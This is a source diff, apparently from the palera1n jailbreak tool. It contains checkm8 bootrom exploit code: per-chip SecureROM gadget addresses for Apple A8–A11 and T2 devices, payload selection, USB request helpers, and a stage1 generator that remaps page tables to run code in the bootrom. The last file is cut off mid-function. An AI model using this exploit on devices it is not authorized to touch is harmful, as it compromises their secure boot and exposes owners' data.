uint32_t dfu_serial_number_get_bdid(char *serial) {
|
||||
char *bdid = strstr(serial, "BDID:");
|
||||
if (bdid == NULL) { return -1; }
|
||||
return strtoul(bdid + 5, NULL, 16);
|
||||
}
|
||||
|
||||
uint64_t dfu_serial_number_get_ecid(char *serial) {
|
||||
char *ecid = strstr(serial, "ECID:");
|
||||
if (ecid == NULL) { return -1; }
|
||||
return strtoull(ecid + 5, NULL, 16);
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_in_dfu_mode(char *serial) {
|
||||
char *DFU = strstr(serial, "SRTG");
|
||||
return DFU != NULL;
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_pwned(char *serial) {
|
||||
char *pwnd = strstr(serial, "PWND:");
|
||||
return pwnd != NULL;
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
|
||||
char *yolo = strstr(serial, "YOLO");
|
||||
return yolo != NULL;
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,238 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <payload.h>
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include <utils.h>
|
||||
|
||||
#include <gen/payloads/yolo_s8000.h>
|
||||
#include <gen/payloads/yolo_s8001.h>
|
||||
#include <gen/payloads/yolo_s8003.h>
|
||||
#include <gen/payloads/yolo_t7000.h>
|
||||
#include <gen/payloads/yolo_t7001.h>
|
||||
#include <gen/payloads/yolo_t8010.h>
|
||||
#include <gen/payloads/yolo_t8011.h>
|
||||
#include <gen/payloads/yolo_t8012.h>
|
||||
#include <gen/payloads/yolo_t8015.h>
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(
|
||||
uint16_t cpid,
|
||||
struct DeviceConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case A11:
|
||||
case T2:
|
||||
case A10X:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x540;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case A10:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 5;
|
||||
break;
|
||||
case A9X:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case A9_TSMC:
|
||||
case A9:
|
||||
case A8X:
|
||||
case A8:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x500;
|
||||
config->config_hole = 0;
|
||||
break;
|
||||
default:
|
||||
LOG_ERROR("CPID 0x%x is not supported!", cpid);
|
||||
foundMatchingConfiguration = false;
|
||||
break;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
bool checkm8_find_payload_configuration_for_cpid(
|
||||
uint16_t cpid,
|
||||
struct PayloadConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case A11:
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->func_gadget = 0x10000a998;
|
||||
config->tlbi = 0x1000004AC;
|
||||
config->write_prim = 0x100009c48;
|
||||
config->arm_clean_invalidate_dcache_line = 0x1000004e4;
|
||||
config->arm_invalidate_icache = 0x1000004c0;
|
||||
config->enter_critical_section = 0x10000f958;
|
||||
config->exit_critical_section = 0x10000f9a0;
|
||||
config->write_ttbr0 = 0x10000045c;
|
||||
config->tlbi = 0x1000004ac;
|
||||
config->TTBR0_PATCH_BASE = 0x180020000;
|
||||
config->TTBR0_BASE = 0xc000;
|
||||
config->bootstrap_task_lr = 0x180015f88;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case T2:
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->func_gadget = 0x100008d8c;
|
||||
config->write_prim = 0x100008058;
|
||||
config->arm_clean_invalidate_dcache_line = 0x1000004cc;
|
||||
config->arm_invalidate_icache = 0x1000004a8;
|
||||
config->enter_critical_section = 0x10000f9b8;
|
||||
config->exit_critical_section = 0x10000fa00;
|
||||
config->write_ttbr0 = 0x100000444;
|
||||
config->tlbi = 0x100000494;
|
||||
config->TTBR0_PATCH_BASE = 0x180020000;
|
||||
config->TTBR0_BASE = 0xc000;
|
||||
config->bootstrap_task_lr = 0x180015f78;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A10X:
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->func_gadget = 0x10000cce4;
|
||||
config->write_prim2 = 0x100001804;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000047c;
|
||||
config->arm_invalidate_icache = 0x100000458;
|
||||
config->enter_critical_section = 0x10000a658;
|
||||
config->exit_critical_section = 0x10000a6a0;
|
||||
config->write_ttbr0 = 0x1000003F4;
|
||||
config->tlbi = 0x100000444;
|
||||
config->TTBR0_PATCH_BASE = 0x1800b4000;
|
||||
config->TTBR0_BASE = 0xa0000;
|
||||
config->bootstrap_task_lr = 0x1800a9f88;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A10:
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->func_gadget = 0x10000cc44;
|
||||
config->write_prim2 = 0x100001808;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000046c;
|
||||
config->arm_invalidate_icache = 0x100000448;
|
||||
config->enter_critical_section = 0x10000A4B8;
|
||||
config->exit_critical_section = 0x10000A514;
|
||||
config->write_ttbr0 = 0x1000003E4;
|
||||
config->tlbi = 0x100000434;
|
||||
config->TTBR0_PATCH_BASE = 0x1800b4000;
|
||||
config->TTBR0_BASE = 0xa0000;
|
||||
config->bootstrap_task_lr = 0x1800a9f68;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A9X:
|
||||
config->insecure_memory_base = 0x180000000;
|
||||
config->func_gadget = 0x10000cd38;
|
||||
config->write_prim2 = 0x100001a78;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000043c;
|
||||
config->arm_invalidate_icache = 0x100000418;
|
||||
config->enter_critical_section = 0x100009b24;
|
||||
config->exit_critical_section = 0x100009b88;
|
||||
config->write_ttbr0 = 0x1000003b4;
|
||||
config->tlbi = 0x100000404;
|
||||
config->TTBR0_PATCH_BASE = 0x180004000;
|
||||
config->TTBR0_BASE = 0x50000;
|
||||
config->bootstrap_task_lr = 0x180059f58;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A9:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000de0c;
|
||||
config->write_prim2 = 0x100001bc0;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000042c;
|
||||
config->arm_invalidate_icache = 0x100000408;
|
||||
config->bootstrap_task_lr = 0x1800c2f58;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A9_TSMC:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000de0c;
|
||||
config->write_prim2 = 0x100001bc0;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000042c;
|
||||
config->arm_invalidate_icache = 0x100000408;
|
||||
config->bootstrap_task_lr = 0x1800c2f58;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A8X:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x100010df4;
|
||||
config->write_prim = 0x10000ed5c;
|
||||
config->arm_clean_invalidate_dcache_line = 0x100000448;
|
||||
config->arm_invalidate_icache = 0x100000424;
|
||||
config->bootstrap_task_lr = 0x1800c2f68;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A8:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000ddf4;
|
||||
config->write_prim = 0x10000bc2c;
|
||||
config->arm_clean_invalidate_dcache_line = 0x100000448;
|
||||
config->arm_invalidate_icache = 0x100000424;
|
||||
config->bootstrap_task_lr = 0x1800c2f68;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
default:
|
||||
LOG_ERROR("CPID 0x%x is not supported!", cpid);
|
||||
foundMatchingConfiguration = false;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
static const yolo_payload_t yolo_payloads[] = {
|
||||
{A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len},
|
||||
{T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len},
|
||||
{A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len},
|
||||
{A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len},
|
||||
{A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len},
|
||||
{A9X, payloads_yolo_s8001_bin, payloads_yolo_s8001_bin_len},
|
||||
{A9, payloads_yolo_s8000_bin, payloads_yolo_s8000_bin_len},
|
||||
{A8X, payloads_yolo_t7001_bin, payloads_yolo_t7001_bin_len},
|
||||
{A8, payloads_yolo_t7000_bin, payloads_yolo_t7000_bin_len},
|
||||
};
|
||||
|
||||
bool create_pongo_payload_for_device(
|
||||
uint16_t cpid,
|
||||
const uint8_t **payload,
|
||||
size_t *payloadSize)
|
||||
{
|
||||
LOG_DEBUG("Preparing YoloDFU payload for CPID 0x%x", cpid);
|
||||
|
||||
*payload = NULL;
|
||||
*payloadSize = 0;
|
||||
|
||||
size_t count = sizeof(yolo_payloads) / sizeof(yolo_payloads[0]);
|
||||
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
if (yolo_payloads[i].cpid == cpid) {
|
||||
*payload = yolo_payloads[i].data;
|
||||
*payloadSize = yolo_payloads[i].len;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
LOG("Failed to prepare payload for device with CPID 0x%x", cpid);
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <shim.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef __APPLE__
|
||||
# include <usb_iokit.h>
|
||||
#else
|
||||
# include <usb_libusb.h>
|
||||
#endif
|
||||
|
||||
transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len) {
|
||||
transfer_ret_t result;
|
||||
void *p_data;
|
||||
|
||||
if(w_len == 0) {
|
||||
return send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0);
|
||||
} else if((p_data = malloc(w_len)) != NULL) {
|
||||
memset(p_data, '\0', w_len);
|
||||
result = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len);
|
||||
free(p_data);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout) {
|
||||
transfer_ret_t result;
|
||||
void *p_data;
|
||||
|
||||
if(w_len == 0) {
|
||||
return send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout);
|
||||
} else if((p_data = malloc(w_len)) != NULL) {
|
||||
memset(p_data, '\0', w_len);
|
||||
result = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout);
|
||||
free(p_data);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
@@ -0,0 +1,250 @@
|
||||
/*
|
||||
* ra1npoc - https://github.com/kok3shidoll/ra1npoc
|
||||
*
|
||||
* Copyright (C) 2021 - 2023 kok3shidoll
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stage1.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <payload.h>
|
||||
|
||||
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
|
||||
|
||||
// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580
|
||||
bool generate_stage1(
|
||||
void** outbuf,
|
||||
size_t* outlen,
|
||||
void* payload,
|
||||
size_t payload_sz,
|
||||
struct DeviceConfiguration *deviceConfig,
|
||||
struct PayloadConfiguration *payloadConfig
|
||||
) {
|
||||
bool wnx = false;
|
||||
uint64_t write_gadget = 0;
|
||||
uint32_t write_val = 0;
|
||||
|
||||
uint64_t base_address = payloadConfig->insecure_memory_base;
|
||||
|
||||
if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11)
|
||||
{
|
||||
wnx = true;
|
||||
}
|
||||
|
||||
size_t presize = wnx == true ? 0x800 : 0xc0;
|
||||
void *buf = malloc(presize);
|
||||
|
||||
uint32_t nextOffset = 0;
|
||||
unsigned char* nextBuf = NULL;
|
||||
dfu_callback_t* cb = (dfu_callback_t*)buf;
|
||||
nextBuf = buf;
|
||||
|
||||
uint32_t current_size = 0;
|
||||
int count = 0;
|
||||
|
||||
#define PUSH(end, func, arg0, arg1) \
|
||||
{ \
|
||||
count++; \
|
||||
current_size = nextOffset + sizeof(dfu_callback_t); \
|
||||
if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \
|
||||
{ \
|
||||
cb->callback = payloadConfig->func_gadget; \
|
||||
if(count%3 == 0) \
|
||||
nextOffset += 0x80; \
|
||||
else \
|
||||
nextOffset += 0x20; \
|
||||
if(!end)cb->next = base_address + nextOffset; \
|
||||
uint64_t* ptr = (uint64_t*)(cb); \
|
||||
uint32_t* ptr32 = (uint32_t*)(cb); \
|
||||
ptr[15] = func; \
|
||||
if(func == payloadConfig->write_prim) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)(arg0 - 4); \
|
||||
ptr32[5] = (uint32_t)arg1; \
|
||||
} \
|
||||
else if(func == payloadConfig->write_prim2) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
ptr32[5] = (uint32_t)arg1; \
|
||||
} \
|
||||
else if(func == payloadConfig->write_ttbr0) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
} \
|
||||
else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
} \
|
||||
nextBuf = (unsigned char*)(buf + nextOffset); \
|
||||
cb = (dfu_callback_t*)nextBuf; \
|
||||
} \
|
||||
else \
|
||||
{ \
|
||||
goto fail; \
|
||||
} \
|
||||
} \
|
||||
|
||||
if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8))
|
||||
{
|
||||
write_gadget = payloadConfig->write_prim;
|
||||
}
|
||||
else
|
||||
{
|
||||
write_gadget = payloadConfig->write_prim2;
|
||||
}
|
||||
|
||||
uint64_t vrom_address = 0x100000000;
|
||||
uint64_t sram_address = 0x180000000;
|
||||
uint64_t new_va = 0x142000000; // post-exploit
|
||||
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
uint64_t sram_rx_va = 0x140000000; // execute payload
|
||||
uint64_t sram_rw_va = 0x142000000; // custom ttbr
|
||||
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
uint64_t vrom_rw_va = 0x144000000;
|
||||
uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
// VROM: 0x100000000
|
||||
uint64_t vrom_bit = vrom_address | 0x6a5;
|
||||
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
|
||||
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
|
||||
|
||||
// Newp: 0x142000000
|
||||
uint64_t new_bit = sram_address | 0x621; // pa
|
||||
new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
new_bit |= (1uL << 53); // PXN
|
||||
new_bit |= (1uL << 54); // XN
|
||||
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
|
||||
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
|
||||
|
||||
// Newp: 0x144000000
|
||||
uint64_t new_bit_2 = sram_address | 0x621; // pa
|
||||
new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
new_bit_2 |= (1uL << 53); // PXN
|
||||
new_bit_2 |= (1uL << 54); // XN
|
||||
uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff);
|
||||
uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2);
|
||||
|
||||
// SRAM: 0x180000000
|
||||
uint64_t sram_bit = sram_address | 0x3;
|
||||
sram_bit |= (1uL << 63); // NS
|
||||
if(deviceConfig->cpid == A11) sram_bit |= 0x10000;
|
||||
if(deviceConfig->cpid == T2) sram_bit |= 0x10000;
|
||||
if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000;
|
||||
if(deviceConfig->cpid == A10) sram_bit |= 0xa4000;
|
||||
if(deviceConfig->cpid == A9X) sram_bit |= 0x54000;
|
||||
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
|
||||
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
|
||||
}
|
||||
|
||||
if(wnx)
|
||||
{
|
||||
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset);
|
||||
}
|
||||
else
|
||||
{
|
||||
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset);
|
||||
}
|
||||
PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val);
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
|
||||
}
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0);
|
||||
PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0);
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
uint64_t sram_rx_bit = sram_address | 0x6a5;
|
||||
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
|
||||
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
|
||||
|
||||
uint64_t sram_rw_bit = sram_address | 0x621;
|
||||
sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
sram_rw_bit |= (1uL << 53); // PXN
|
||||
sram_rw_bit |= (1uL << 54); // XN
|
||||
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
|
||||
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
|
||||
|
||||
uint64_t vrom_rw_bit = vrom_address | 0x621;
|
||||
vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
vrom_rw_bit |= (1uL << 53); // PXN
|
||||
vrom_rw_bit |= (1uL << 54); // XN
|
||||
uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff);
|
||||
uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32);
|
||||
|
||||
PUSH(0, payloadConfig->enter_critical_section, 0, 0);
|
||||
PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0);
|
||||
PUSH(0, payloadConfig->tlbi, 0, 0);
|
||||
|
||||
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower);
|
||||
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper);
|
||||
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
|
||||
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
|
||||
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0);
|
||||
PUSH(0, payloadConfig->tlbi, 0, 0);
|
||||
PUSH(1, payloadConfig->exit_critical_section, 0, 0);
|
||||
}
|
||||
|
||||
*outlen = payload_sz + (wnx == true ? 0x800 : 0xc0);
|
||||
*outbuf = malloc(*outlen);
|
||||
|
||||
memset(*outbuf, 0x0, *outlen);
|
||||
memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0);
|
||||
memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz);
|
||||
if(buf) free(buf);
|
||||
return true;
|
||||
|
||||
fail:
|
||||
if(buf) free(buf);
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,342 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifdef __APPLE__
|
||||
|
||||
#include <usb_iokit.h>
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <CommonCrypto/CommonCrypto.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <IOKit/IOCFPlugIn.h>
|
||||
#include <IOKit/usb/IOUSBLib.h>
|
||||
|
||||
#include <utils.h>
|
||||
|
||||
static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
|
||||
CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
|
||||
|
||||
if(cf_val != NULL) {
|
||||
CFDictionarySetValue(dict, key, cf_val);
|
||||
CFRelease(cf_val);
|
||||
}
|
||||
}
|
||||
|
||||
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
|
||||
IOCFPlugInInterface **plugin_interface;
|
||||
SInt32 score;
|
||||
bool ret = false;
|
||||
|
||||
if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
|
||||
ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
|
||||
IODestroyPlugInInterface(plugin_interface);
|
||||
}
|
||||
|
||||
IOObjectRelease(serv);
|
||||
return ret;
|
||||
}
|
||||
|
||||
static bool open_usb_interface(usb_handle_t *handle) {
|
||||
IOUSBFindInterfaceRequest req;
|
||||
io_iterator_t iter;
|
||||
io_service_t intfServ;
|
||||
IOReturn kr;
|
||||
|
||||
req.bInterfaceClass = kIOUSBFindInterfaceDontCare;
|
||||
req.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
|
||||
req.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
|
||||
req.bAlternateSetting = kIOUSBFindInterfaceDontCare;
|
||||
|
||||
kr = (*handle->device)->CreateInterfaceIterator(handle->device, &req, &iter);
|
||||
if(kr != kIOReturnSuccess) return false;
|
||||
|
||||
while((intfServ = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
|
||||
IOCFPlugInInterface **plugin = NULL;
|
||||
IOUSBInterfaceInterface245 **intf = NULL;
|
||||
SInt32 score = 0;
|
||||
HRESULT res;
|
||||
|
||||
kr = IOCreatePlugInInterfaceForService(intfServ, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score);
|
||||
|
||||
IOObjectRelease(intfServ);
|
||||
|
||||
if(kr != kIOReturnSuccess || !plugin) continue;
|
||||
|
||||
